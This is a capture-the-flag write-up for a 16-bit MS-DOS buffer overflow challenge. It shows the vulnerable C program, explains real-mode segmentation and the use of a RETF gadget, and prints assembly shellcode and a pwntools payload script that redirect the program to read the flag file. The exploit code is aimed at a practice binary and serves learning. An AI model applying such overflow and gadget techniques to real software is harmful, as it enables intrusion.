Very simple buffer overflow but run in dosbox that emulate MS-DOS. That’s write! This pwnable challenge is 16bit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>

int main() {
  char name[32];
  FILE *input = fopen("input.txt", "rt");
  FILE *output = fopen("output.txt", "wt");

  if (!input) {
    printf("Error opening input file!");
    return 1;
  }
  if (!output) {
    printf("Error opening input file!");
    return 1;
  }

  fscanf(input, "%[^ ]s", name);
  fprintf(output, "Hello %s\n", name);
  
  fclose(input);
  fclose(output);
  
  return 0;
}

I looked at the list of all functions using Ghidra and I was able to know the main function. Main function address is 0x291.

MS-DOS has not memory protection. So we can run code with any address! But 16bit real address mode use segmentation. We can save we’re shellcode but can’t direct jmp to shellcode address

(Debugger shown as 32bit but ignore high 2byte)

Like above picture, SS(Stack Segment) is 0x3DA and CS(Code segment) is 0x1A2. Our shellcode address is SS:0xFFD8 and if we replace ret to 0xFFD8, program jump to CS:0xFFD8 not SS:0xFFD8.

There are a few ways, but I used the retf gadget. RETF (RET FAR) instruction pop cs, ip from stack and jump to CS:IP. RETF gadgget address is placed in 0x91C(abnormal gadget)

The problem was that the CS and SS addresses when the process started with a debugger were different from the actual environment. To solve this problem, we were able to obtain the address by maximizing the CPU cycle and attaching the debugger.

1
2
3
4
5
6
7
8
9
ORG 100h
        mov byte [ds:0xaa], 0x2f 
        mov word [ds:0xab], 0x6c66 
        mov word [ds:0xad], 0x6761
        mov ax, 0x1A2
        push ax
        mov ax, 0x291
        push ax
        retf
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
from base64 import *
exfile = open('input.txt','wb')
shellfile = open('code.com','rb')
shellcode = shellfile.read()
payload = shellcode.ljust(34,b'a')
payload += p16(0x91c) #retf gadget
payload += p16(0xFFD6)#IP
payload += p16(0x03DA)#CS
exfile.write(payload)
data1 = b''
encoded_data = base64.b64encode(payload)
print(payload)
print(encoded_data)

This is my team member’s exploit code. But his idea is exactly same with me.

Shellcode do input.txt to .flag.txt and goto main function. Then main function try to open flag.txt and write flag to OUTPUT.txt

I think this challenge is very interesting. Current operation system dosen’t use segmentation memory management.